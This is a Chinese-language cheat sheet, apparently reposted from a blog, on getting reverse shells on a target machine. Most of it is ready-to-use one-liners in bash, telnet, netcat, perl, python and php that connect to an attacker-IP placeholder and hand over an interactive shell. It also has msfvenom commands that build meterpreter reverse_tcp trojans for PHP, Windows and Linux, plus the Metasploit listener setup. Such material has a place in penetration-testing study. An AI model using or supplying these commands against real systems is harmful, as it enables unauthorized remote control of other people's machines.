反彈shell利用方式


反彈shell

 

1.bash反彈

攻擊機監聽端口 

netcat: nc -nvlp 4444

-n:  不反向解析dns,即不通過ip解析域名 no dns

-v:  詳細信息輸出 verbose

-l:   監聽 listen

-p: 指定端口 port

 

靶機執行shell命令   

bash -i >& /dev/tcp/攻擊機ip/攻擊機port 0>&1

bash -i:交互式shell

 >& :輸入輸出重定向:0 stdin, 1 stdout, 2 stderr

/dev/tcp/ip/port: 特殊文件

注: /dev/tcp/ 是Linux中的一個特殊設備,打開這個文件就相當於發出了一個socket調用,建立一個socket連接,讀寫這個文件就相當於在這個socket連接中傳輸數據。同理,Linux中還存在/dev/udp/。

 

2.telnet反彈

攻擊機監聽端口 啟動兩個終端

netcat: nc -nvlp 4444

netcat: nc -nvlp 5555

靶機telnet反彈shell

telnet 攻擊機ip 4444 | /bin/bash | telnet 攻擊機ip 5555

注:bash進程的 0 ,1 :stdin,stdout 標准輸入輸出描述符 都重定向到pipe,關聯兩個telnet進程,兩個telnet進程分別與攻擊機兩個端口建立了socket連接

 

3.nc(netcat)反彈

攻擊機監聽端口

nc -nvlp 4444

靶機連接端口並反彈shell

nc -v 攻擊機ip 4444 -e /bin/bash

-e:  指定nc連接成功后執行的程序

 

4.perl反彈

攻擊機監聽端口

nc -nvlp 4444

靶機perl反彈shell

perl -e 'use Socket;$i="攻擊機ip";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};

 

5.python反彈

攻擊機監聽端口

nc -nvlp 4444

靶機python反彈shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻擊機ip",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

 

6.php反彈

攻擊機監聽端口

nc -nvlp 4444

靶機php反彈shell

php -r '$sock=fsockopen("攻擊機ip",4444);exec("/bin/bash -i <&3 >&3 2>&3");'

 

7.msf 生成木馬反彈shell

msfvenom 生成木馬


1. 生成php反彈木馬:

msfvenom -p php/meterpreter/reverse_tcp LHOST=攻擊機ip LPORT=4444 -f raw > /root/shell.php

 

2. 生成windows反彈木馬:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻擊機ip LPORT=4444 -f exe > /root/hacker.exe

 

3. 生成linux反彈木馬:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=攻擊機ip LPORT=4444 -f elf > /root/shell

msfconsole 控制台監聽

 

1. 選擇監聽模塊:

use exploit/multi/handler

2. 設置payload反彈:

set payload windows/meterpreter/reverse_tcp

注:此處為生成木馬payload

3. 設置LHOST、LPORT參數:

set LHOST 攻擊機ip    set LPORT 監聽端口

注:和生成木馬設置對應

4. exploit 或 run 開始攻擊,進行監聽

5. 等待靶機運行木馬,msf產生session會話

 

msfvenom 命令參數:

  ​ -p,  --payload <payload> 指定需要使用的payload(攻擊荷載)。如果需要使用自定義的payload,請使用&#039;-&#039;或 者stdin指定
  ​ -l,   --list [module_type] 列出指定模塊的所有可用資源. 模塊類型包括: payloads, encoders, nops, all
​   -n,    --nopsled <length> 為payload預先指定一個NOP滑動長度
  ​ -f,  --format <format> 指定輸出格式 (使用 --help-formats 來獲取msf支持的輸出格式列表)
​   -e,    --encoder [encoder] 指定需要使用的encoder(編碼器)
​   -a,    --arch <architecture> 指定payload的目標架構
​      --platform <platform> 指定payload的目標平台
​   -s,  --space <length> 設定有效攻擊荷載的最大長度
​   -b,  --bad-chars <list> 設定規避字符集,比如: &#039;\x00\xff&#039;
​   -i,   --iterations <count> 指定payload的編碼次數
​   -c,  --add-code <path> 指定一個附加的win32 shellcode文件
​   -x,  --template <path> 指定一個自定義的可執行文件作為模板
  ​ -k,  --keep 保護模板程序的動作,注入的payload作為一個新的進程運行
  ​    --payload-options 列舉payload的標准選項
​   -o,    --out <path> 保存payload
​   -v,    --var-name <name> 指定一個自定義的變量,以確定輸出格式
  ​   --shellest 最小化生成payload
​   -h,   --help 查看幫助選項


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM